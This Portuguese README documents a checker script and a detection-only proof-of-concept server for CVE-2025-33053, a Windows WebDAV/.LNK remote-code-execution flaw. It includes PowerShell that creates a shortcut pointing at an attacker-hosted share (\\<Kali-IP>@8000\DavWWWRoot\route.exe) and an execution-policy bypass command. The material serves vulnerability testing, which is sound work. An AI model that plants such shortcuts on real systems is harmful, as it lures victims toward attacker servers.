Verificador de Vulnerabilidade CVE-2025-33053 e Prova de Conceito (PoC)

Prova do Verificador

Prova do PoC

Um conjunto completo de ferramentas para verificar e demonstrar a potencial exploração da CVE-2025-33053, uma vulnerabilidade crítica de Execução Remota de Código (RCE) baseada em WebDAV que afeta sistemas Windows.

---

📌 Sobre a CVE-2025-33053

A CVE-2025-33053 permite que atacantes explorem arquivos de atalho .LNK que referenciam compartilhamentos WebDAV remotos maliciosos, potencialmente levando à Execução Remota de Código (RCE) em sistemas afetados.

Condições da Vulnerabilidade:

• O serviço WebClient deve estar instalado e em execução no alvo.
• O SO alvo deve resolver caminhos UNC via WebDAV quando tais caminhos são acessados — mesmo por meio de arquivos .LNK.

---

🔍 Como a Vulnerabilidade Funciona?

1. Arquivo .LNK criado ou Acesso Direto a Caminho UNC — Aponta para um caminho UNC remoto como:
2. Quando o .LNK é acessado ou o caminho UNC é navegado manualmente (ex.: via Explorador de Arquivos): - O serviço WebClient inicia comunicação com o local UNC remoto via WebDAV. - O sistema envia uma requisição PROPFIND para consultar metadados do servidor do atacante.
3. Ao receber a requisição PROPFIND, o atacante pode confirmar que: - O sistema alvo resolve caminhos UNC via WebDAV. - O sistema está potencialmente vulnerável à CVE-2025-33053.

---

✅ Verificador de Vulnerabilidade em Tempo Real (CVE-2025-33053_checker.ps1)

O Que Ele Faz:

Check	Purpose
🔍 Status do Serviço WebClient	Confirma se o suporte a WebDAV está ativo e em execução.
🔍 Manipulação de Caminho UNC via Test-Path	Testa se o sistema resolve caminhos UNC WebDAV remotos (pré-condição chave para a exploração da CVE).

Como Executar:

1. Abra o PowerShell como Administrador.

2. Se a execução de scripts estiver restrita, execute:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

3. Execute o verificador: .\CVE-2025-33053_checker.ps1

---

⚙️ Servidor de Prova de Conceito (PoC) (CVE-2025-33053_PoC.py)

O Que Ele Faz:

• Configura um servidor semelhante a WebDAV baseado em Python na máquina do atacante.
• Captura requisições PROPFIND recebidas quando o sistema vítima resolve o caminho UNC malicioso.
• Exibe no terminal que o sistema fez contato — provando a possibilidade de exploração.

Nota: Testado em VM.

Uso:

1. Na máquina do atacante (Kali):

python3 CVE-2025-33053_PoC.py --port 8000

2. Na máquina alvo:

• Abra o caminho UNC diretamente no Explorador de Arquivos:

\\<Kali-IP>@8000\DavWWWRoot\route.exe

• Crie manualmente um arquivo .LNK no Windows ou simplesmente navegue para:

\\<Kali-IP>@8000\DavWWWRoot\route.exe

• Exemplo de método PowerShell para criar um arquivo de atalho:

$WScriptShell = New-Object -ComObject WScript.Shell
$Shortcut = $WScriptShell.CreateShortcut("C:\Users\Public\CVE-2025-33053-Test.lnk")
$Shortcut.TargetPath = "\\<Kali-IP>@8000\DavWWWRoot\route.exe"
$Shortcut.Save()

3. Se o alvo estiver vulnerável, o servidor PoC registrará:

[!] PROPFIND request received from <victim-ip> - Potential CVE-2025-33053 detected!
[!] Target system is VULNERABLE to CVE-2025-33053!

---

🔍 Por que Este PoC é Legítimo e Confiável:

✔️ Usa resolução de caminho UNC real — sem simulação. ✔️ Captura requisições PROPFIND reais acionadas pelo SO — comportamento exato necessário para exploração da CVE. ✔️ Demonstra evidência real em nível de rede da vulnerabilidade, sem executar payloads ou causar danos.

---

🚧 Notas Importantes

Este PoC não explora nem danifica o sistema alvo — ele apenas detecta o comportamento vulnerável subjacente. Destinado ao uso em ambientes controlados ou com autorização explícita. Demonstra comportamento real do sistema — não uma simulação fictícia. Para uso apenas para fins educacionais. Não execute em sistemas não autorizados.

---

🏷️ Licença

Licença MIT — Gratuito apenas para fins educacionais, de pesquisa e defensivos.

---

🤝 Contribuindo

Pull Requests são bem-vindos — melhore a detecção, adicione funcionalidades ou sugira correções.

---

⚠️ Aviso Legal

Este repositório é apenas para fins educacionais e pesquisa de segurança autorizada. O uso indevido contra sistemas que você não possui ou não tem permissão para testar é estritamente proibido.